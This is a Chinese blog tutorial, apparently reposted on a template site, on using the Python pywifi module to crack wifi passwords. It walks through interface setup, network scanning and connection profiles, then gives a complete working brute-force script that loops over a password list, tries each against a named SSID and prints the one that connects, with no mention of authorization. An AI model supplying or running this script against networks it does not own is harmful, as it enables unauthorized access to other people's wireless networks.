原文链接: Python 使用 pywifi 模块 破解wifi密码
上一篇: conda 换源
下一篇: TensorFlow 线性回归 拟合
git
https://github.com/awkman/pywifi
常见常量
from pywifi import const
# Define interface status.
IFACE_DISCONNECTED = 0
IFACE_SCANNING = 1
IFACE_INACTIVE = 2
IFACE_CONNECTING = 3
IFACE_CONNECTED = 4
获取网卡对象
import pywifi
wifi = pywifi.PyWiFi() # 创建一个无线对象
iface = wifi.interfaces()[0] # 取第一个无限网卡
查看对象属性
for k in dir(iface):
print(k, getattr(iface, k))
add_network_profile <bound method Interface.add_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
connect <bound method Interface.connect of <pywifi.iface.Interface object at 0x0000022022D59668>>
disconnect <bound method Interface.disconnect of <pywifi.iface.Interface object at 0x0000022022D59668>>
name <bound method Interface.name of <pywifi.iface.Interface object at 0x0000022022D59668>>
network_profiles <bound method Interface.network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_all_network_profiles <bound method Interface.remove_all_network_profiles of <pywifi.iface.Interface object at 0x0000022022D59668>>
remove_network_profile <bound method Interface.remove_network_profile of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan <bound method Interface.scan of <pywifi.iface.Interface object at 0x0000022022D59668>>
scan_results <bound method Interface.scan_results of <pywifi.iface.Interface object at 0x0000022022D59668>>
status <bound method Interface.status of <pywifi.iface.Interface object at 0x0000022022D59668>>
查看网卡名称
print(iface.name())
Intel(R) Dual Band Wireless-AC 3165
断开wifi连接
iface.disconnect()
连接wifi
# 新建配置文件
profile = pywifi.Profile()
# 设置网络名称
profile.ssid = ssid
# 打开连接
profile.auth = const.AUTH_ALG_OPEN
# 设置加密方式,是列表类型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 设置加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 设置密码
profile.key = pwd
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
扫描wifi信息,由于扫描需要时间,在扫描指令下达后需要等待一会才能拿到结果
iface.scan()
# iface.remove_all_network_profiles()
time.sleep(3)
a = iface.scan_results()
for i in a:
print(i, getattr(i, 'ssid'), getattr(i, 'freq'))
<pywifi.profile.Profile object at 0x0000017FB4C0D438> xjtu 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D048> xjtu 5785000
<pywifi.profile.Profile object at 0x0000017FB4C0D4E0> Mr.Yure 2412000
<pywifi.profile.Profile object at 0x0000017FB4C0D550> xjtu666 2412000
密码文件
1234
12345
123456
123456789
1111
2222
暴力破解,需要移除配置文件,然后断开连接,等一会后重新连接,返回是否连接成功
每次移除所有配置文件是因为如果有可以用的连接的话,会自动连接上可用的网络,这样就不知道是密码正确还是使用的记住密码的wifi。。。。 文章来源:https://www.toymoban.com/news/detail-416115.html
不过会清除所有记住的密码。。。。 文章来源地址https://www.toymoban.com/news/detail-416115.html
import pywifi
import sys
import time
from pywifi import const
wifi = pywifi.PyWiFi() # 创建一个无线对象
iface = wifi.interfaces()[0] # 取第一个无限网卡
def test_conn(ssid, pwd):
# iface.remove_all_network_profiles()
iface.disconnect()
time.sleep(1)
# 新建配置文件
profile = pywifi.Profile()
# 设置网络名称
profile.ssid = ssid
# 打开连接
profile.auth = const.AUTH_ALG_OPEN
# 设置加密方式,是列表类型
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# 设置加密单元
profile.cipher = const.CIPHER_TYPE_CCMP
# 设置密码
profile.key = pwd
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
time.sleep(1)
return iface.status() == const.IFACE_CONNECTED
with open('pwds.txt') as f:
pwd_list = [i.strip() for i in f.readlines()]
for p in pwd_list:
if test_conn('ahaoboy', p):
print(p)
到了这里,关于Python 使用 pywifi 模块 破解wifi密码的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!